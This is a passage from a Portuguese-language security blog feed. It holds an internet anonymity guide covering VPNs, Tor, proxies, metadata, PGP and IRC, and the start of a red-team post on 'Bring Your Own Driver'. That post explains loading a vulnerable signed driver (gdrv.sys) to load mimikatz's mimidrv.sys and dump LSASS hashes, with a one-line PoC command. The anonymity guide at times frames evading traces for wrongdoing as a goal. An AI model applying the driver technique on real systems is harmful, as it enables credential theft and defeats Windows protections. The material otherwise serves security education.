&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#usando-criptografia-com-chaves-pgp&#34; &gt;Usando criptografia com chaves PGP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#uso-do-irc-internet-relay-chat&#34; &gt;Uso do IRC (internet relay chat)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Lembrando que esse post serve apenas para aprendizado e conhecimento dessas técnicas,
e de forma alguma encoraja que voce (leitor) a fazer atos criminosos&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&#34;introdução&#34;&gt;Introdução&lt;/h1&gt;
&lt;h2 id=&#34;o-que-é-anonimato-e-porque-eu-preciso-disso&#34;&gt;O que é anonimato e porque eu preciso disso?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Em uma frase: Ter anonimato é agir sem deixar rastros.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Se voce veio a este artigo, eu posso presumir que voce tem uma certa curiosidade em como pode se tornar mais cuidadoso com seus atos na internet.&lt;/p&gt;
&lt;p&gt;Não deixar rastros é algo muito importante na area de hacking e por isso que buscar anonimato é a nossa melhor opção.&lt;/p&gt;
&lt;p&gt;Nesse artigo voce verá diversas formas de agir anonimamente na internet, evitando deixar &lt;code&gt;pegadas&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;anonimato-vs-privacidade&#34;&gt;Anonimato VS privacidade&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Se é a primeira vez que ve um conteúdo sobre isso, pode achar que esses 2 conceitos são a mesma coisa, porém são muuuuito diferentes; e é por isso que vou esclarecer isso antes de começarmos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;privacidade&#34;&gt;Privacidade&lt;/h3&gt;
&lt;p&gt;Em resumo, ter privacidade é voce se preocupar com quais dados estão sendo coletados dos aplicativos que voce usa (voce também tampa a webcam? se sim, voce se preocupa com a privacidade), mesmo que o serviço que voce está usando saiba sua localização, seu nome etc.&lt;/p&gt;
&lt;h3 id=&#34;anonimato&#34;&gt;Anonimato&lt;/h3&gt;
&lt;p&gt;Se preocupar com o anonimato é querer que sua identidade, localização e quem voce é seja preservado, independente se seus dados de uso estejam sendo usado por serviços de terceiros.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Privacidade pode ocorrer sem anonimato e vice-versa.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;importância-do-tema&#34;&gt;Importância do tema&lt;/h2&gt;
&lt;p&gt;Ah é? estou vendo seu ip daqui! &lt;em&gt;&lt;strong&gt;É brincadeira ta gente&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Brincadeiras a parte, com certeza voce deve conhecer alguns métodos para se tornar mais anonimo na internet, o objetivo aqui é entender onde podemos aprimorar nessa jornada.&lt;/p&gt;
&lt;p&gt;Para podermos se tornar anonimos na internet é questão de hábito.&lt;/p&gt;
&lt;p&gt;E quando eu digo hábito, não estou falando em mudar 1 coisa na sua rotina, eu digo em repensar tudo que faz durante seu periodo na rede.&lt;/p&gt;
&lt;p&gt;Essas são algumas reflexões que deixo para voce, meu caro leitor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Se voce usa a rede social para fazer algo suspeito, voce loga no perfil sem se preocupar com o seu IP? Divulga imagens na internet sem se preocupar com os metadados?&lt;/li&gt;
&lt;li&gt;Se voce quer enviar um arquivo confidencial para alguem, como voce faz? Coloca ele no google drive e envia para a pessoa? Envia direto pelo email?&lt;/li&gt;
&lt;li&gt;Quando voce se comunica sobre assuntos comprometedores, voce conversa por onde? Whatsapp? Facebook?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Não se desespere, nesse artigo vou lhe explicar tudo o que precisa saber para que não cometa mais esses erros.&lt;/p&gt;
&lt;h1 id=&#34;se-mantendo-anônimo&#34;&gt;Se mantendo anônimo&lt;/h1&gt;
&lt;h2 id=&#34;vpn&#34;&gt;VPN&lt;/h2&gt;
&lt;p&gt;Em resumo, as VPNs são uma forma de esconder sua localização, fazendo com que seu trafego saia por outro computador&lt;/p&gt;
&lt;h3 id=&#34;o-que-é-vpn&#34;&gt;O que é vpn?&lt;/h3&gt;
&lt;p&gt;VPN (Virtual Private Network) em resumo é uma forma de conectar dois computadores pela internet, fazendo um tunel entre os dois computadores (trafego do computador de origem entra nesse tunel e sai pelo computador de destino).&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 191; flex-basis: 458px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/vpn.jpg&#34; data-size=&#34;1920x1004&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/vpn.jpg&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/vpn_hu37f88119bb88d50a62cf30a7c95a3554_91676_480x0_resize_q75_box.jpg 480w, https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/vpn_hu37f88119bb88d50a62cf30a7c95a3554_91676_1024x0_resize_q75_box.jpg 1024w&#34;
				width=&#34;1920&#34;
				height=&#34;1004&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id=&#34;casos-de-uso-de-vpn&#34;&gt;Casos de uso de VPN&lt;/h3&gt;
&lt;p&gt;O tunel que a VPN provém tem diversas aplicações, por exemplo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dar acesso aos servidores da nuvem (que por sua natureza não tem acesso a rede externa), um exemplo disso é a vpn usada para as CTFs &lt;strong&gt;Voce não consegue acessar a maquina da ctf sem usar a vpn&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Criptografia nos dados que estão sendo trafegados. Isso em uma rede pública é muito bom.&lt;/li&gt;
&lt;li&gt;Esconder o seu IP de origem.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Se você busca anonimato, o último item é o mais importante.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Existem outros casos de uso, só listei os mais genéricos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;cuidados-ao-usar-uma-vpn&#34;&gt;Cuidados ao usar uma vpn&lt;/h3&gt;
&lt;h4 id=&#34;vazamento-de-consultas-dns&#34;&gt;Vazamento de consultas DNS&lt;/h4&gt;
&lt;p&gt;Usar vpn é bom e prático, mas será que ela protege todo o trafego?&lt;/p&gt;
&lt;p&gt;Se mal configurado, sua vpn pode vazar consultas DNS mostrando que vieram diretamente do seu computador, mesmo voce estando conectado na VPN.&lt;/p&gt;
&lt;p&gt;E Porque eu devo me preocupar com isso?&lt;/p&gt;
&lt;p&gt;Não proteger sua consulta DNS é deixar rastros de que seu computador teve relação com um dominio.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;É possível imaginar vários cenários que isso te cause problemas, principalmente se anda fazendo coisas erradas&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Não deixaremos nenhum pacote para trás&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;O que acha de checarmos se sua VPN vaza seu ip atraves das consultas DNS?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;como-verificar-e-previnir-que-haja-vazamento-de-consultas-dns&#34;&gt;Como verificar e previnir que haja vazamento de consultas DNS&lt;/h4&gt;
&lt;p&gt;Desconecte de qualquer VPN e Cheque seu IP externo no site: &lt;a class=&#34;link&#34; href=&#34;https://www.myip.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://www.myip.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Anote o provedor de internet (ISP) em algum lugar, ele é o seu provedor de internet, vamos usar essa informação daqui a pouco&lt;/p&gt;
&lt;p&gt;Agora &lt;em&gt;conecte a sua VPN&lt;/em&gt; de escolha e entre nesse site: &lt;a class=&#34;link&#34; href=&#34;https://torguard.net/br/vpn-dns-leak-test.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://torguard.net/br/vpn-dns-leak-test.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Após carregar, ele vai demonstrar uma tabela com 3 colunas, a coluna do meio (onde diz ISP) é a mais importante, verifique se o ISP que tem na tabela é &lt;em&gt;diferente&lt;/em&gt; do seu ISP&lt;/p&gt;
&lt;p&gt;Se seu provedor de internet for diferente do que verificado n site torguard. isso é uma otima noticia! Significa que sua VPN se preocupou com o vazamento do SEU IP atraves do DNS.&lt;/p&gt;
&lt;p&gt;Caso voce ainda veja seu provedor de internet na lista, recomendo usar uma vpn que se preocupe com isso, ou troque servidor que irá resolver as consultas dns, para um que seja da sua confiança.&lt;/p&gt;
&lt;h1 id=&#34;tor&#34;&gt;TOR&lt;/h1&gt;
&lt;h2 id=&#34;o-que-é-o-tor&#34;&gt;O que é o tor?&lt;/h2&gt;
&lt;p&gt;De forma rapida, tor é rede de computadores que tem como missão trazer anonimato aos seus usuários.&lt;/p&gt;
&lt;p&gt;O anonimato da rede tor é baseado em tunéis feito entre alguns servidores antes de chegar ao site de destino e criptografias de multiplas camadas entre esses servidores, fazendo com que fique humanamente impossível de descobrir o endereço IP de algum usuário ou serviço utilizando a rede.&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 187; flex-basis: 449px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/tor.png&#34; data-size=&#34;754x403&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/tor.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/tor_hu253705888d2f2df91f2c97e7f33c65f2_43191_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/tor_hu253705888d2f2df91f2c97e7f33c65f2_43191_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;754&#34;
				height=&#34;403&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id=&#34;casos-de-uso-do-tor&#34;&gt;Casos de uso do tor&lt;/h2&gt;
&lt;p&gt;Ele é amplamente usado para vencer a censura e vigilância estatal, perfeito para quem quer se manter anonimo ao utilizar serviços da internet, porém também é possivel disponibilizar sites ou serviços na rede tor, se tiver curiosidade, &lt;a class=&#34;link&#34; href=&#34;https://harddisk.com.br/p/pt-br-hospedando-sites-na-deepweb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;temos um artigo que diz como podemos hospedar um site na deepweb!&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Existem outros casos de uso, só listei os mais genéricos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;navegador&#34;&gt;Navegador&lt;/h3&gt;
&lt;p&gt;Existem diversos sites que estão apenas disponiveis nessa rede (sites com final .onion), que são impossiveis de serem visitados por um navegador normal, por isso o Tor Project disponibilizou um navegador especializado em se conectar à essa rede, &lt;a class=&#34;link&#34; href=&#34;https://www.torproject.org/pt-BR/download/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;é possivel baixar ele pelo site oficial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Usando ele voce consegue acessar esses sites e também navegar na rede que voce está acostumado (normalmente chamada por surface), fazendo com que seu endereço IP não seja descoberto.&lt;/p&gt;
&lt;p&gt;Apesar da rede tor te ajudar a te manter anonimo, existem cuidados que voce como usuário deve ter ao utilizar essas redes, mais pra frente no post falarei sobre isso, mais &lt;a class=&#34;link&#34; href=&#34;#como-n%c3%a3o-usar-o-tor&#34; &gt;especificamente nesse trecho&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;torsocks&#34;&gt;Torsocks&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Para quem é fã do terminal&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Torsocks é uma cli (command line interface) que permite &lt;strong&gt;habilitar&lt;/strong&gt; o tor a qualquer programa, basta colocar &lt;em&gt;torsocks&lt;/em&gt; antes do comando que já fará com que o programa rode utilizando a rede tor.&lt;/p&gt;
&lt;p&gt;Exemplo:
Sem o tor esse comando a seguir mostra seu ip externo.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ curl ifconfig.me
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Colocando o torsocks na frente, seu ip externo já fica diferente.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ torsocks curl ifconfig.me
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;como-não-usar-o-tor&#34;&gt;Como não usar o tor&lt;/h2&gt;
&lt;p&gt;A rede tor pode te entregar o anonimato que precisa, porém temos que ter cuidados com serviços que exigem login, afinal entrar no facebook pela rede tor não vai te fazer anonimo.. Porque apartir do momento que logou no facebook, é possível dizer que voce que logou.
E a mesma coisa se aplica aos emails que voce usa nos sites, usar informações pessoais no login de sites na rede do tor fazem com que a anonimato do tor seja em vão.&lt;/p&gt;
&lt;p&gt;Então sempre que for criar login em sites na rede tor use dados fakes, jamais entre em sites atraves de dados que tem vinculo com voce (login com email, telefone)&lt;/p&gt;
&lt;h1 id=&#34;proxy&#34;&gt;Proxy&lt;/h1&gt;
&lt;h2 id=&#34;o-que-é-uma-proxy&#34;&gt;O que é uma proxy?&lt;/h2&gt;
&lt;p&gt;Em resumo, proxy é bem semelhante com VPN, porém muitas vezes não exige credenciais nem criptografa o trafego.&lt;/p&gt;
&lt;p&gt;As proxys podem ter algumas desvantagens em relação a outros métodos citados nesse post, porém ela é bem facil de ser utilizada e existem diversas proxys públicas que qualquer um pode usar.
Vantagens:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;São de graça e não tem limite de proxys em sequencia &lt;strong&gt;O unico limite é a latência, que acaba com a nossa paciência&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;É possivel escolher qual proxy voce quer, baseado em localização ou simplesmente em disponibilidade
Desvantagens:&lt;/li&gt;
&lt;li&gt;Nem todas as proxys disponíveis são boas ou estão funcionando&lt;/li&gt;
&lt;li&gt;Não existe criptografia por padrão ao usar essas proxys&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 157; flex-basis: 378px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/proxy.png&#34; data-size=&#34;1398x887&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/proxy.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/proxy_hu9a899c2af628112253bb7224f2cd611c_58792_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/proxy_hu9a899c2af628112253bb7224f2cd611c_58792_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;1398&#34;
				height=&#34;887&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id=&#34;casos-de-uso-da-proxy&#34;&gt;Casos de uso da proxy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Dar acesso aos servidores da nuvem. &lt;strong&gt;assim como uma vpn faria&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Esconder seu endereço IP&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Existem outros casos de uso, só listei os mais genéricos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Um site que gosto de buscar proxys publicas é no site &lt;a class=&#34;link&#34; href=&#34;https://spys.one/en&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://spys.one/en&lt;/a&gt; , lá tem diversas proxys que não necessitam de autorição para o uso, basta configurar e usar!&lt;/p&gt;
&lt;p&gt;Para podermos usar uma dessas proxys podemos usar uma CLI chamado &lt;strong&gt;proxychains&lt;/strong&gt;, que permite a configuração e a personalização de uso&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.youtube.com/watch?v=qsA8zREbt6g&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Caso tenha mais curiosidade no uso das proxys e do proxychains, recomendo assistir esse vídeo&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&#34;redes-sociais&#34;&gt;Redes sociais&lt;/h1&gt;
&lt;h2 id=&#34;porque-se-manter-anonimo-nas-redes-sociais&#34;&gt;Porque se manter anonimo nas redes sociais&lt;/h2&gt;
&lt;p&gt;Independente da rede social que voce estiver, voce sempre irá se deparar com pessoas publicando sobre sua vida pessoa, postando fotos de lugares que está no momento ou visitou recentemente, e se voce também usa rede social para isso, tudo bem!
O problema é quando usam redes sociais para divulgar serviços que não se encaixam a essa vibe de vida pessoal. Muitas vezes serviços considerados ilegais, ou na margem da lei.&lt;/p&gt;
&lt;p&gt;É extremamente necessário que haja uma camada de anonimato ao interagir com esses conteúdos e também é importante saber separar sua vida pessoal das suas aventuras na internet.&lt;/p&gt;
&lt;h2 id=&#34;cuidados-ao-usar-redes-sociais&#34;&gt;Cuidados ao usar redes sociais&lt;/h2&gt;
&lt;p&gt;A rede social que voce usa com frequencia é a ferramenta que mais conhece voce, por isso foram criadas várias CLI (command line interface) para poder descobrir mais informações de um alvo (método conhecido como OSINT).
Algumas ferramentas conhecidas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://sherlock-project.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Sherlock project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/Datalux/Osintgram&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Osintgram&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Qualquer informação que voce coloca na rede social, pode se tornar valiosa na mão de pessoas erradas, sabendo disso é possivel encontrar algumas soluções para podermos evitar isso&lt;/p&gt;
&lt;h3 id=&#34;informações-pessoais&#34;&gt;Informações pessoais&lt;/h3&gt;
&lt;p&gt;Se algum dia voce for publicar na rede social uma imagem ou um texto que possa te comprometer, tenha certeza de que nada da sua conta esteja vinculada a voce, ou vice versa.&lt;/p&gt;
&lt;p&gt;A pior coisa que pode acontecer é voce se prejudicar por alguma coisa que publicou na internet, um exemplo classico é como o criador da SilkRoad foi pego.&lt;/p&gt;
&lt;p&gt;Se voce ainda acha que se preocupar com isso é bobeira, da uma olhada nesse &lt;a class=&#34;link&#34; href=&#34;https://youtu.be/VE7iDdGdDtM&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;vídeo aqui, que explica como uma foto na rede social o hacker conseguiu o telefone pessoal do ministro&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;seu-endereço-ip&#34;&gt;Seu endereço ip&lt;/h3&gt;
&lt;p&gt;Vale lembrar que quando alguem consegue pegar seu endereço IP não tem porque se preocupar, a unica coisa que a pessoa consegue descobrir com o IP é a localização da sua provedora de internet, exemplo:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ wget -q -O - https://freegeoip.live/csv/$(curl ifconfig.me)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Porém se as autoridades conseguirem o seu IP, eles conseguem localizar qual é o endereço exato da sua casa.&lt;/p&gt;
&lt;h3 id=&#34;pseudonimo&#34;&gt;Pseudonimo&lt;/h3&gt;
&lt;p&gt;Um pseudonimo é um nome ficticio, para que o seu nome verdadeiro seja ocultado. Eles são perfeitos para criar uma camada de anonimato, principalmente porque esse pseudonimo não tem (e nunca deverá ter) qualquer ligação com você.&lt;/p&gt;
&lt;p&gt;Caso voce reutilize pseudonimos em várias redes sociais, lembre-se de se manter anonimo, para que não &lt;strong&gt;queime&lt;/strong&gt; seu pseudonimo&lt;/p&gt;
&lt;h3 id=&#34;metadados&#34;&gt;Metadados&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Metadados são informações que ficam junto a um arquivo, descrevendo dados tecnicos ou de ambiente de algum arquivo ou imagem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Um exemplo classico de metadados de uma imagem é sua localização de onde foi tirada (no iphone por exemplo). Se essa imagem for parar em alguma plataforam que não remove os metadados, eles ficarão publicos na internet.&lt;/p&gt;
&lt;p&gt;Apesar dos metadados dos arquivos serem retirados pela maioria das plataforamas, sempre é bom remove-los dos arquivos que voce irá publicar.&lt;/p&gt;
&lt;p&gt;Um exmplo real, postado no site Respostas Ocultas (um forum BR da deepweb de perguntas e respostas) sobre &lt;a class=&#34;link&#34; href=&#34;https://pt.answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/138036/privacidade-como-eu-descobri-um-membro-do-f%c3%b3rum&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;um caso de um usuário que não se preocupou com os metadados e vazou a localização de onde morava&lt;/a&gt; &lt;em&gt;Lembrando de abrir com o navegador tor&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;comunicação-anônima&#34;&gt;Comunicação anônima&lt;/h2&gt;
&lt;p&gt;Como voce faz para se comunicar quando quer conversar sobre algo comprometedor? usa o telegram? Se sim, lembre-se que meios de comunicação na surface tendem a ser vigiados e monitorados, a minoria desses serviços que realmente se importa com a privacidade.
Com a perca da privacidade, muitas vezes o anonimato vai embora também, por isso existem alguns metodos que voce pode fazer para que sua conversa fique segura.&lt;/p&gt;
&lt;h3 id=&#34;usando-criptografia-com-chaves-pgp&#34;&gt;Usando criptografia com chaves PGP&lt;/h3&gt;
&lt;p&gt;A criptografia é o caminho para quando se trata de manter algo seguro, algumas plataformas como whatsapp ja habilitam isso por padrão, mas até que ponto voce confia nisso? Se a policia for la na casa do zuck, será mesmo que essa criptografia ainda se mantẽm?&lt;/p&gt;
&lt;p&gt;Caso voce não acredite nessa abordagem, voce mesmo pode criar sua criptografia utilizando chaves PGP (Pretty Good Privacy), que em resumo é um software que cria autenticação e criptografia para uma comunicação de dados.&lt;/p&gt;
&lt;p&gt;A vantagem é que voce ainda pode usar qualquer meio de comunicação telegram, whatsapp, até correio  que sua mensagem ficará segura, e apenas o destinatário poderá &lt;strong&gt;abrir&lt;/strong&gt; a carta e ler o conteúdo.&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 216; flex-basis: 519px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/encript_pgp.jpg&#34; data-size=&#34;1280x591&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/encript_pgp.jpg&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/encript_pgp_hu724906316f623702c0d23f08662c5091_62683_480x0_resize_q75_box.jpg 480w, https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/encript_pgp_hu724906316f623702c0d23f08662c5091_62683_1024x0_resize_q75_box.jpg 1024w&#34;
				width=&#34;1280&#34;
				height=&#34;591&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;
&lt;figure style=&#34;flex-grow: 216; flex-basis: 519px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/decript_pgp.jpg&#34; data-size=&#34;1280x591&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/decript_pgp.jpg&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/decript_pgp_hu1ca281c2fbff9cfaca3992cf9cc5920e_74059_480x0_resize_q75_box.jpg 480w, https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/decript_pgp_hu1ca281c2fbff9cfaca3992cf9cc5920e_74059_1024x0_resize_q75_box.jpg 1024w&#34;
				width=&#34;1280&#34;
				height=&#34;591&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Porém a desvantagem é voce deve se preocupar com sua chave privada e também tem que ficar criptografando as mensagens assim que for enviar, se quiser conversar em grupo fica exponencialmente mais irritante.&lt;/p&gt;
&lt;h3 id=&#34;uso-do-irc-internet-relay-chat&#34;&gt;Uso do IRC (internet relay chat)&lt;/h3&gt;
&lt;p&gt;O IRC é outro método para comunicação, acredito que seja mais objetivo do que o uso da chave PGP. Com o internet relay chat é possivel entrar em canais de texto e conversar normalmente, como voce faria em plataformas como discord e slack, porém com várias vantagens para voce que quer se tornar anonimo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Não é necessário login, muito menos um email&lt;/li&gt;
&lt;li&gt;A facilidade na integração com a rede tor e uso da vpn&lt;/li&gt;
&lt;li&gt;Muitos servidores IRC não guardam logs das suas conversas (e se voce duvidar disso, pode criar seu proprio servidor IRC)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para iniciantes o uso do IRC pode parecer meio complexo, talvez seja por isso que cada vez menos existem servidores IRC, porém é amplamente usado por comunidades de tecnologia da informação e até mesmo em series de TV, como Mr Robot.&lt;/p&gt;
&lt;p&gt;Caso voce queira entender mais sobre o IRC, &lt;a class=&#34;link&#34; href=&#34;http://www.penta.ufrgs.br/rc952/trab1/irc.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;recomendo dar uma lida nesse artigo.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/victorlpgazolli&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Vtr&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Bring Your Own Driver</title>
        <link>https://harddisk.com.br/p/pt-br-bring-your-own-driver/</link>
        <pubDate>Wed, 31 Mar 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-bring-your-own-driver/</guid>
        <description>&lt;img src="https://i.imgur.com/1yXrzxT.png" alt="Featured image of post [PT-BR] Bring Your Own Driver" /&gt;&lt;h1 id=&#34;red-team&#34;&gt;Red Team&lt;/h1&gt;
&lt;p&gt;A área de Red Team preza principalmente por uma invasão precisa, sem deixar rastros e indo direto ao ponto, tudo isso ao mesmo tempo.&lt;/p&gt;
&lt;p&gt;E por ser dessa forma, envolve vários cuidados e técnicas que acabam sendo muito interessantes, nesse artigo vamos falar sobre uma delas. Antes de falar sobre a técnica, vamos falar um pouco sobre o cenário em que se aplica, existe uma validação de assinatura de driver no windows, essa validação, basicamente, faz uma busca por assinaturas da microsoft em um driver quando ele está para ser carregado, e essa validação, em um red team mitiga completamente a ideia de carregar um driver do atacante, já que assim que esse driver for carregado, vai ser feito um alert sysadmin dizendo que foi carregado um driver não assinado. Aqui, entra a técnica chamada de &lt;strong&gt;BYOD&lt;/strong&gt; ou &lt;strong&gt;B&lt;/strong&gt;ring &lt;strong&gt;Y&lt;/strong&gt;our &lt;strong&gt;O&lt;/strong&gt;wn &lt;strong&gt;D&lt;/strong&gt;river.&lt;/p&gt;
&lt;h1 id=&#34;cenário-possível&#34;&gt;Cenário possível&lt;/h1&gt;
&lt;p&gt;Vamos montar o seguinte cenário, o atacante precisa fazer um dump das hashes do LSASS do windows, para isso ele vai precisar do mimikatz. Porém, ele só pode usar o mimikatz sem nt authority\system, se o driver mimidrv.sys for carregado, o que é (ou deveria ser) inviável, pois o sysadmin seria alertado. &lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;h2 id=&#34;bring-your-own-driver&#34;&gt;Bring Your Own Driver&lt;/h2&gt;
&lt;p&gt;Vamos resolver o dilema do atacante. Sabemos que tudo que precisa para que a validação ocorra sem alarde, é que o driver seja assinado, agora pense o seguinte, se existisse um driver assinado pela microsoft que permita você carregar outros drivers, esse driver seria validado? A resposta para essa pergunta é: não. Mas você deve estar pensando &amp;ldquo;A microsoft não tem um driver desses, portanto é um cenário impossível&amp;rdquo;, e claro, a microsoft não tem um driver desses, mas o que impede um hacker de explorar uma vulnerabilidade em algum desses drivers para dar load/unload no driver que ele desejar, no nosso cenário, o driver de desejo é o mimidrv.sys. Recaptulando, basta o atacante carregar um driver assinado, porém vulnerável, explorá-lo e dar load no driver de desejo.&lt;/p&gt;
&lt;h2 id=&#34;gdrvsys&#34;&gt;gdrv.sys&lt;/h2&gt;
&lt;p&gt;O gdrv.sys, é um driver assinado pela microsoft, que possui algumas poc&amp;rsquo;s para load/unload de driver, o que é perfeito para um bring your own driver. Tudo que precisamos fazer é usar alguma dessas poc&amp;rsquo;s, para explorar o driver em questão e por fim, dar load no driver de desejo (no caso do cenário, o mimidrv.sys).&lt;/p&gt;
&lt;h3 id=&#34;poc&#34;&gt;PoC&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;poc-load.exe gdrv.sys mimidrv.sys&lt;/p&gt;
&lt;/blockquote&gt;
